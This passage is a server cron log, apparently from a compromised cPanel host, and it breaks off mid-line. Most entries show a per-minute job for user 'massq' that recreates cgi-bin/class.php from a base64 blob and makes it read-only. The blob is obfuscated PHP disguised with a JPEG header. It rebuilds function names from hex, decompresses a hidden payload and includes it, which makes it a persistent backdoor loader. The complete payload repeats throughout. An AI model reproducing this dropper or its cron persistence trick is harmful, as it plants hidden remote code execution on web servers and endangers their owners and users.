Nov  9 21:41:01 server CROND[2651]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:42:01 server CROND[3465]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:42:01 server CROND[3466]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 21:43:01 server CROND[4303]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:44:01 server CROND[5230]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:45:01 server CROND[6005]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 21:45:01 server CROND[6006]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 21:45:01 server CROND[6007]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:46:01 server CROND[6906]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:47:01 server CROND[7766]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:48:01 server CROND[8579]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:49:01 server CROND[9661]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:50:01 server CROND[10552]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 21:50:01 server CROND[10554]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 21:50:01 server CROND[10557]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 21:50:01 server CROND[10556]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 21:50:01 server CROND[10558]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:51:01 server CROND[11491]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:52:01 server CROND[12300]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:53:01 server CROND[13164]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:54:01 server CROND[13985]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 